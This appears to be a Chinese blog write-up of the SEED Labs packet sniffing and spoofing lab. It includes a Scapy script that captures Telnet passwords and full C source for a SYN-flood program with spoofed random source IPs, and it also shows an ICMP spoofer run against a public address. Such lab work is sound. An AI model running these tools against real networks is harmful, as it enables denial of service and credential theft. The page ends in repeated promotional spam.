SeedLab——Packet Sniffing and Spoofing Lab_seed labs – packet sniffing and spoofing lab(1)

2、BUFSIZ:捕获数据包时使用的缓冲区大小。BUFSIZ是一个预定义的常量,表示缓冲区的大小。

3、1:指定是否设置混杂模式。这里的1表示启用混杂模式,即在捕获数据包时,会接收到经过网络接口的所有数据包。

4、1000:设置超时值,指定在捕获数据包时等待的最长时间(以毫秒为单位)。

5、errbuf:用于存储错误消息的缓冲区。如果在打开网络接口时发生错误,错误消息将被写入到errbuf中。
*/

使用pcap_compile编译过滤器表达式filter_exphandle是之前打开的捕获会话句柄,&fp是指向struct bpf_program的指针,用于存储编译后的过滤器程序。filter_exp是一个字符串,表示要应用于数据包捕获的过滤条件。0表示不使用优化选项,net是一个网络地址,用于确定过滤器表达式中的网络地址。pcap_setfilter(handle, &fp)将编译后的过滤器程序fp应用于捕获会话。

// Step 2: Compile filter_exp into BPF psuedo-code
printf(“try to compile filter…n”);
pcap_compile(handle, &fp, filter_exp, 0, net);
printf(“try to set filter…n”);
pcap_setfilter(handle, &fp);

使用pcap_loop开始捕获,got_packet是自定义的回调函数。-1表示捕获无限数量的数据包,也可以指定一个正整数来限制捕获的数据包数量。

pcap_close用于关闭捕获会话句柄,释放资源。

// Step 3: Capture packets
printf(“start to sniff…n”);
pcap_loop(handle, -1, got_packet, NULL);

pcap_close(handle); //Close the handle

Q B

嗅探器程序需要root权限来访问和捕获网络数据包。这是因为网络接口通常是受保护的资源,只有特权用户才能直接访问它们。

下面三个操作都需要root权限

  1. 打开网络接口:嗅探器程序在开始捕获数据包之前需要打开选择的网络接口。如果没有足够的权限来打开网络接口,程序将无法继续执行。
  2. 设置捕获过滤器:嗅探器通常会使用过滤器来选择特定类型的数据包进行捕获。在设置过滤器时,需要特权权限才能成功操作。如果没有足够的权限,程序将无法设置过滤器,导致无法准确捕获所需的数据包。
  3. 捕获数据包:嗅探器程序在捕获数据包时需要访问网络接口和相关底层资源。如果没有足够的权限来访问这些资源,捕获数据包的操作将失败。
Q C

混杂模式允许网络接口在捕获数据包时接收经过该接口的所有数据包,而不仅仅是目标地址是本机的数据包。一般计算机网卡都工作在非混杂模式下,此时网卡只接受来自网络端口的目的地址指向自己的数据。当网卡工作在混杂模式下时,网卡将来自接口的所有数据都捕获并交给相应的驱动程序。

Task 2.1B: Writing Filters

关于BPF的常用编写规则在Task 1.1B已经说过了

1、只捕获两个特定主机之间的ICMP包

假设捕获主机与默认网关10.0.2.2之间的ICMP报文

(icmp and src host 10.0.2.15 and dst host 10.0.2.2) or
(icmp and src host 10.0.2.2 and dst host 10.0.2.15)

image-20231120214349463

2、捕捉目的端口在10到100之间的TCP包

使用tcp协议和dst端口范围10-100的BPF过滤表达式如下:

tcp and dst portrange 10-100

image-20231120215345189

Task 2.1C: Sniffing Passwords

Telnet协议采用明文传输,没有数据加密功能,所以会产生安全隐患:

  • Telnet传输的命令和数据都是明文,可以被任何中间人轻松拦截和审查。
  • 用户名、密码和交互内容均不加密,可被截取使用。
  • 没有身份验证机制,任何人都可以假冒其他用户登入。
  • 数据在传输过程中可被篡改,无法完整校验。

拓扑结构

image-20231120094747029

进入一个docker创建的虚拟host——10.9.0.5

seed@VM:~$ dockps
0cd29ef744b0 seed-attacker
e98890475512 hostB-10.9.0.6
1898eb81c8e4 hostA-10.9.0.5

seed@VM:~$ docker exec -it 1898eb81c8e4 bin/bash
root@1898eb81c8e4:/#

然后编写下面的代码,运行在IP地址为10.9.0.1的网络接口上,监听目的端口为23的TCP报文(telnet使用23端口)

#!/usr/bin/python3
from scapy.all import *

def print_pkt(pkt):
if Raw in pkt:
print(pkt[Raw])

sniff(iface=‘br-0d32c54e0d4e’, filter=“tcp port 23”, prn=print_pkt)

然后在docker容器中尝试远程登陆另一台主机10.9.0.6

image-20231120223025114

观察嗅探程序的结果,在10.9.0.1上运行的嗅探程序嗅探到了10.9.0.5的登录到10.9.0.6的数据报文,获得了登陆密码。

image-20231120222918626

Task 2.2: Spoofing

原始套接字(RAW SOCKET)允许应用程序直接访问网络协议栈(Protocol Stack)的底层功能,包括网络层(IP)、传输层(TCP、UDP)和其他协议。

通常情况下,应用程序使用高级套接字(如TCP套接字或UDP套接字)进行网络通信,这些套接字封装了底层的网络协议细节,提供了简化的接口供应用程序使用。然而,使用原始套接字,应用程序可以绕过这些封装,直接访问和操作网络协议栈中的原始数据。

img

IP报文的格式

0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±+
|Version| IHL |Type of Service| Total Length |
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±+
| Identification |Flags| Fragment Offset |
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±+
| Time to Live | Protocol | Header Checksum |
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±+
| Source IP Address |
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±+
| Destination IP Address |
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±+
| Options | Padding |
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±+

TCP报文的格式

0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±+
| Source Port | Destination Port |
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±+
| Sequence Number |
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±+
| Acknowledgment Number |
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±+
| Data | |U|A|P|R|S|F| |W|R|C|
| Offset| Res |R|C|S|S|Y|I| Window |E|C|R|
| | |G|K|H|T|N|N| |C|E|E|
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±+
| Checksum | Urgent Pointer |
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±+
| Options | Padding |
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±+

Task 2.2A: Write a spoofing program

可以使用原始套接字来实现伪造IP报文实现一个SYN-Flood攻击的程序。

在TCP三次握手过程中,客户端向服务器发送一个SYN(同步)包,服务器接收到后会返回一个SYN-ACK(同步-确认)包给客户端,然后等待客户端的确认(ACK)。攻击者使用伪造的源IP地址,向目标服务器发送大量的SYN包,但是不发送ACK包来完成三次握手。这些SYN包看起来像是来自合法的客户端,但实际上是攻击者伪造的。由于攻击者不发送ACK,这些半开放连接会一直保持在服务器上等待,消耗服务器的资源,造成DoS攻击。

头文件

定义TCP报头结构和伪报头结构。TCP伪报头(TCP Pseudo Header)是在进行TCP校验和计算时使用的辅助数据结构。它不是TCP报文段的一部分,而是用于计算校验和的数据。

#include <stdio.h>
#include <ctype.h>
#include <bits/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>
#include <netdb.h>
#include <errno.h>
#include <stdlib.h>
#include <time.h>
#include <arpa/inet.h>
#include <netinet/ip.h>

struct tcphdr
{
unsigned short sport; // 源端口
unsigned short dport; // 目标端口
unsigned int seq; // 序列号
unsigned int ack_seq; // 确认号
unsigned char len; // 首部长度
unsigned char flag; // 标志位
unsigned short win; // 窗口大小
unsigned short checksum; // 校验和
unsigned short urg; // 紧急指针
};

/**
* TCP伪头部包含了一些必要的信息,用于计算TCP校验和。
* 它通常由源IP地址、目的IP地址、保留字段、协议类型(TCP)和数据长度组成。
*/
struct pseudohdr
{
unsigned int saddr;
unsigned int daddr;
char zeros;
char protocol;
unsigned short length;
};

校验和计算

校验和计算的代码如下。将缓冲区中的每个16位字累加到checksum变量中,直到size变为1或0。然后,如果size不为0,说明还剩下一个字节没有累加到校验和中,将其加入checksum中。

接下来,如果checksum发生溢出(即高16位不为零),就将高16位和低16位相加,再加上高16位。这是为了确保校验和在溢出时仍然正确。

最后,将checksum取反并返回。

// 计算校验和
unsigned short
checksum(unsigned short *buffer, unsigned short size)
{
unsigned long checksum = 0;
// 先将缓冲区中的每个16位字累加到 cksum 变量中,直到 size 变为1或0
while (size > 1)
{
checksum += *buffer++;
size -= sizeof(unsigned short);
}
// 如果 size 不为0,说明还剩下一个字节没有累加到校验和中,
if (size)
{
checksum += *(unsigned char *)buffer;
}
// 如果有溢出
while (checksum >> 16)
{
// 则将高16位与低16位相加
checksum = (checksum >> 16) + (checksum & 0xffff);
// 如果高16位非零,再加高16位
checksum += (checksum >> 16);
}

// 取反
return (unsigned short)(~checksum);
}

初始化报头

IP报头的初始化。设置版本、ihl、服务类型等等字段。

// 初始化ip头
void init_ip_header(struct iphdr *ip, unsigned int srcaddr,
unsigned int dstaddr)
{
// 计算 IP 报头的总长度 len,包括 IP 头部和 TCP 头部的长度
int len = sizeof(struct iphdr) + sizeof(struct tcphdr);
// 设置 IP 版本和头部长度字段
ip->version = 4;
ip->ihl = 5;
// 设置服务类型字段 tos,此处设为 0。
ip->tos = 0;
// 设置总长度字段 total_len,使用 htons 函数将长度转换为网络字节序
ip->tot_len = htons(len);
// 设置标识字段
ip->id = 1;
// 设置标志字段 flags,这里设为 0x40,表示不分片
ip->frag_off = htons(0x4000);
// 设置生存时间字段 ttl
ip->ttl = 255;
// 设置协议字段 protocol,这里设为 IPPROTO_TCP
ip->protocol = IPPROTO_TCP;
// 初始化校验和
ip->check = 0;
ip->saddr = srcaddr; // 源IP地址
ip->daddr = dstaddr; // 目标IP地址
}

初始化TCP报头以及伪报头的函数。使用rand生成一个随机数,并将其转换成网络字节序作为源IP,用于隐匿本机IP。TCP的flag字段设为0x02表示设置SYN。

// 初始化tcp头
void init_tcp_header(struct tcphdr *tcp, unsigned short dport)
{
// 生成随机端口
tcp->sport = htons(rand() % 16383 + 49152);
// 目的端口
tcp->dport = htons(dport);
// 随机生成一个序号,转化为网络字节顺序
tcp->seq = htonl(rand() % 90000000 + 2345);
// 将 ack_seq 字段初始化为 0,表示没有确认序列号
tcp->ack_seq = 0;
/**
* 计算 TCP 头部长度,使用 sizeof(struct tcphdr) / 4 计算出以 32 位字为单位的长度,
* 然后将其左移 4 位(相当于乘以 16),最后通过位或操作符 | 与 0 进行合并得到 len 字段
*/
tcp->len = (sizeof(struct tcphdr) / 4 << 4 | 0);
// 将 flag 设置 SYN 控制标志位
tcp->flag = 0x02;
// 设置窗口大小
tcp->win = htons(1024);
// 初始化校验和
tcp->checksum = 0;
// 将紧急指针 urg 初始化为 0,表示没有紧急数据
tcp->urg = 0;
}

// 初始化伪TCP头
void init_pseudo_header(struct pseudohdr *pseudo, unsigned int srcaddr,
unsigned int dstaddr)
{
pseudo->zeros = 0;
pseudo->protocol = IPPROTO_TCP;
pseudo->length = htons(sizeof(struct tcphdr));
pseudo->saddr = srcaddr;
pseudo->daddr = dstaddr;
}

构造SYN包

下面这段代码构造了一个SYN数据包,计算IP校验和 利用TCP伪报头计算TCP校验和。然后将TCP和IP报头拼接成一个数据包。

// 构造syn数据包
int make_syn_packet(char *packet, int pkt_len, unsigned int daddr,
unsigned short dport)
{
char buf[100];
int len;
struct iphdr ip; // IP 头部
struct tcphdr tcp; // TCP 头部
struct pseudohdr pseudo; // TCP 伪头部
// 随机生成源地址
unsigned int saddr = rand();
// 长度设置为一个ip报头+tcp报头的长度
len = sizeof(ip) + sizeof(tcp);

// 初始化头部信息
init_ip_header(&ip, saddr, daddr);
init_tcp_header(&tcp, dport);
init_pseudo_header(&pseudo, saddr, daddr);

// 计算IP校验和
ip.check = checksum((u_short *)&ip, sizeof(ip));

bzero(buf, sizeof(buf));
// 复制TCP伪头部
memcpy(buf, &pseudo, sizeof(pseudo));
// 复制TCP头部
memcpy(buf + sizeof(pseudo), &tcp, sizeof(tcp));
// 计算TCP校验和
tcp.checksum = checksum((u_short *)buf, sizeof(pseudo) + sizeof(tcp));

bzero(packet, pkt_len);
// 填充ip报头
memcpy(packet, &ip, sizeof(ip));
// 填充tcp报头
memcpy(packet + sizeof(ip), &tcp, sizeof(tcp));
// 格式化输出消息
unsigned char *dbytes = (unsigned char *)&daddr;
unsigned char *sbytes = (unsigned char *)&saddr;
printf(“send a syn packet from %u.%u.%u.%u to address %u.%u.%u.%un”, sbytes[0], sbytes[1], sbytes[2], sbytes[3], dbytes[0], dbytes[1], dbytes[2], dbytes[3]);

return len;
}

创建原始套接字

通过调用socket函数创建一个原始套接字。AF_INET参数指定了使用IPv4协议,SOCK_RAW参数指定了套接字类型为原始套接字,IPPROTO_TCP参数指定了传输层协议为TCP。如果socket函数返回值为-1,表示创建套接字失败。

通过setsockopt函数设置套接字选项。setsockopt函数用于设置套接字的各种选项,这里使用IP_HDRINCL选项来告诉操作系统在发送数据时不自动添加IP头部。IP_HDRINCL选项的值为on。当IP_HDRINCL选项的值为非零时,表示应用程序将负责手动构建完整的IP头部,并将其附加到发送的数据中。这对于某些特定的网络编程需求非常有用,例如实现自定义的网络协议或与特定网络设备进行直接通信。通过将选项值设置为on,即使发送的数据中没有包含IP头部,操作系统也会将数据直接发送出去,而不会添加默认的IP头部。这样,应用程序就可以自行构建并添加完整的IP头部。

// 创建原始套接字
int make_raw_socket()
{
int fd;
int on = 1;

// 创建一个原始套接字
fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if (fd == -1)
{
return -1;
}

// 设置需要手动构建IP头部
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0)
{
close(fd);
return -1;
}

return fd;
}

发送伪造数据包

下面的代码设置目标主机的地址族、地址与端口。然后使用sendto函数将我们自己构造的SYN数据包通过创建的原始套接字发往目标地址。

// 发送syn数据包
int send_syn_packet(int sockfd, unsigned int addr, unsigned short port)
{
struct sockaddr_in skaddr;
// 数据包
char packet[256];
// 数据包长度
int pkt_len;
// 初始化
bzero(&skaddr, sizeof(skaddr));
// 设置目标地址
skaddr.sin_family = AF_INET;
skaddr.sin_port = htons(port);
skaddr.sin_addr.s_addr = addr;

// 创建一个syn数据包
pkt_len = make_syn_packet(packet, 256, addr, port);
// 发送syn数据包
return sendto(sockfd, packet, pkt_len, 0, (struct sockaddr *)&skaddr,
sizeof(struct sockaddr));
}

完整代码与效果

// 拼接上面的代码即可

int main(int argc, char *argv[])
{
unsigned int addr;
unsigned short port;
int sockfd;

if (argc < 3)
{
fprintf(stderr, “Usage: synflood

n”);
exit(1);
}
// 获取地址和端口
addr = inet_addr(argv[1]);
port = atoi(argv[2]);

if (port < 0 || port > 65535)
{
fprintf(stderr, “Invalid destination port number: %sn”, argv[2]);
exit(1);
}
// 创建原始套接字
sockfd = make_raw_socket();
if (sockfd == -1)
{
fprintf(stderr, “Failed to make raw socketn”);
exit(1);
}
// 一直发送syn数据包
for (int i = 0; i > -1; i++)
{
sleep(1);
if (send_syn_packet(sockfd, addr, port) < 0)
{
fprintf(stderr, “Failed to send syn packetn”);
}
}

close(sockfd);

return 0;
}

首先使用python创建一个HTTP服务器并监听端口8000。

image-20231120225432603

然后使用netstat -ntc监听该端口的连接情况

image-20231120225625034

编译并运行syn泛洪攻击程序并设置目标为10.9.0.5:8000

查看运行结果,收到了大量的SYN建立连接请求。而且源IP也被隐藏了。

image-20231120225804375

Task 2.2B: Spoof an ICMP Echo Request

自己编写一个ping程序

头文件

定义了两个常量 ICMP_ECHOICMP_ECHOREPLY,分别表示 ICMP 的 Echo 请求和 Echo 回复报文的类型值。定义了一个名为 icmpheader 的结构体,用于表示 ICMP 头部。

结构体成员的含义如下:

  • icmp_type:ICMP 消息类型
  • icmp_code:错误码
  • icmp_chksum:ICMP 头部和数据的校验和
  • icmp_id:用于标识请求的 ID
  • icmp_seq:序列号

#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>

#define ICMP_ECHO 8
#define ICMP_ECHOREPLY 0

/* ICMP Header */
struct icmpheader
{
unsigned char icmp_type; // ICMP message type
unsigned char icmp_code; // Error code
unsigned short int icmp_chksum; // Checksum for ICMP Header and data
unsigned short int icmp_id; // Used for identifying request
unsigned short int icmp_seq; // Sequence number
};

校验和计算

与Task2.2A相同

/**

  • @brief 计算校验和
  • @param buffer
  • @param size
  • @return unsigned short
    */
    unsigned short checksum(unsigned short *buffer, unsigned short size)
    {
    unsigned long checksum = 0;
    // 先将缓冲区中的每个16位字累加到 cksum 变量中,直到 size 变为1或0
    while (size > 1)
    {
    checksum += *buffer++;
    size -= sizeof(unsigned short);
    }
    // 如果 size 不为0,说明还剩下一个字节没有累加到校验和中,
    if (size)
    {
    checksum += *(unsigned char *)buffer;
    }
    // 如果有溢出
    while (checksum >> 16)
    {
    // 则将高16位与低16位相加
    checksum = (checksum >> 16) + (checksum & 0xffff);
    // 如果高16位非零,再加高16位
    checksum += (checksum >> 16);
    }
    // 取反
    return (unsigned short)(~checksum);
    }
初始化报头

用于初始化 IP 头部和 ICMP 头部的字段。

/**
* @brief 初始化ip
*
* @param ip
* @param srcaddr
* @param dstaddr
*/
void init_ip_header(struct iphdr *ip, unsigned int srcaddr,
unsigned int dstaddr)
{
// 计算 IP 报头的总长度 len,包括 IP 头部和 TCP 头部的长度
int len = sizeof(struct iphdr) + sizeof(struct icmpheader);
// 设置 IP 版本和头部长度字段
ip->version = 4;
ip->ihl = 5;
// 设置服务类型字段 tos,此处设为 0。
ip->tos = 0;
// 设置总长度字段 total_len,使用 htons 函数将长度转换为网络字节序
ip->tot_len = htons(len);
// 设置标识字段
ip->id = 1;
// 设置标志字段 flags,这里设为 0x40,表示不分片
ip->frag_off = htons(0x4000);
// 设置生存时间字段 ttl
ip->ttl = 255;
// 设置协议字段 protocol,这里设为 IPPROTO_ICMP
ip->protocol = IPPROTO_ICMP;
// 初始化校验和
ip->check = 0;
ip->saddr = srcaddr; // 源IP地址
ip->daddr = dstaddr; // 目标IP地址
}

/**
* @brief 初始化icmp数据包
*
* @param icmp
* @param type
* @param code
*/
void init_icmp_header(struct icmpheader *icmp, int type, int code)
{
// 设置ICMP报文的类型
icmp->icmp_type = type;
if (type == ICMP_ECHOREPLY)
{
// 设置ICMP报文的代码
icmp->icmp_code = code;
}
// 计算ICMP报文的校验和
icmp->icmp_chksum = 0;
// 计算ICMP报文的校验和
icmp->icmp_chksum = checksum((unsigned short *)icmp,
sizeof(struct icmpheader));
}

创建原始套接字

与Task2.2A相同

/**
* @brief 创建一个原始套接字
*
* @return int
*/
int make_raw_socket()
{
int fd;
int on = 1;

// 创建一个原始套接字
fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (fd == -1)
{
return -1;
}
// 设置需要手动构建IP头部
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0)
{
close(fd);
return -1;
}
return fd;
}

发送伪造的Ping Echo

函数接受一个套接字描述符 sock 和一个指向 struct iphdr 结构体的指针 ip 作为参数。函数首先设置目标地址信息 dest_info,其中包括目标地址的协议类型和 IP 地址。最后,函数调用 sendto 函数发送 IP 报文。

/**
* @brief 发送ping报文
*
* @param sock
* @param ip
*/
void send_raw_ip_packet(int sock, struct iphdr *ip)
{
// struct sockaddr_in dest_info;
struct sockaddr_in dest_info;

// 设置IP地址的协议类型
dest_info.sin_family = AF_INET;
// 设置IP地址
dest_info.sin_addr.s_addr = ip->daddr;
// 打印IP地址
printf(“icmp send to %sn”, inet_ntoa(dest_info.sin_addr));
// 发送IP报文
sendto(sock, ip, ntohs(ip->tot_len), 0,
(struct sockaddr *)&dest_info, sizeof(dest_info));
}

完整代码与效果

完整代码如下所示

// 拼接上面的代码即可

/******************************************************************
Spoof an ICMP echo request using an arbitrary source IP Address
*******************************************************************/
int main(int argc, char **argv)
{
char buffer[1500];
memset(buffer, 0, 1500);
int sock = make_raw_socket();

/*********************************************************
Step 1: Fill in the ICMP header.
********************************************************/
struct icmpheader *icmp = (struct icmpheader *)(buffer + sizeof(struct iphdr));
init_icmp_header(icmp, ICMP_ECHO, 0);

/*********************************************************
Step 2: Fill in the IP header.
********************************************************/
struct iphdr *ip = (struct iphdr *)buffer;
init_ip_header(ip, inet_addr(“10.0.2.15”),
inet_addr(argv[1]));
// 计算IP校验和
ip->check = checksum((u_short *)ip, sizeof(struct iphdr));
struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(argv[1]);

/*********************************************************
Step 3: Finally, send the spoofed packet
********************************************************/
while (1)
{
send_raw_ip_packet(sock, ip);
sleep(1);
}
close(sock);
return 0;
}

使用tcpdump监听地址为10.0.2.15的网络接口的icmp数据包

sudo tcpdump -i enp0s3 -v icmp

然后编译运行伪造ICMP报文的程序并运行

gcc -o ping ping.c # 编译
sudo ./ping 43.138.70.209 # 运行

运行结果如下,通过tcpdump可知能够正常发送ICMP Echo数据包并收到ICMP Reply回复。

image-20231121113305188

Q D

能把IP包的长度设置为任意数值,而不管实际的包的大小吗?

不能,调大调小都是不正确的行为。

  1. IP报头长度比实际长度小:这会导致接收方无法正确解析IP报文。接收方会期望更多的数据作为报文的一部分,但实际上接收到的数据可能不足以构成完整的IP报文。这可能导致接收方丢弃或拒绝该报文,因为它被认为是损坏或不完整的。
  2. IP报头长度比实际长度大:这会导致接收方错误地解析IP报文,从而引起通信问题或数据损坏。比如在IP分片的过程中,操作系统会根据实际数据的长度和MTU的限制进行合理的分片。如果报头长度字段比实际长度大,操作系统可能会错误地将数据包分片。

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
img

还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!

王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。

对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!

【完整版领取方式在文末!!】

93道网络安全面试题

内容实在太多,不一一截图了

黑客学习资源推荐

最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

😝朋友们如果有需要的话,可以联系领取~

1️⃣零基础入门
① 学习路线

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

image

② 路线对应学习视频

同时每个成长路线对应的板块都有配套的视频提供:

image-20231025112050764

2️⃣视频配套工具&国内外网安书籍、文档
① 工具

② 视频

image1

③ 书籍

image2

资源较为敏感,未展示全面,需要的最下面获取

在这里插入图片描述在这里插入图片描述

② 简历模板

在这里插入图片描述

因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
img

nter)

② 路线对应学习视频

同时每个成长路线对应的板块都有配套的视频提供:

image-20231025112050764

2️⃣视频配套工具&国内外网安书籍、文档
① 工具

② 视频

image1

③ 书籍

image2

资源较为敏感,未展示全面,需要的最下面获取

在这里插入图片描述在这里插入图片描述

② 简历模板

在这里插入图片描述

因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
[外链图片转存中…(img-OTPifBWP-1712716008131)]

  • 9
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值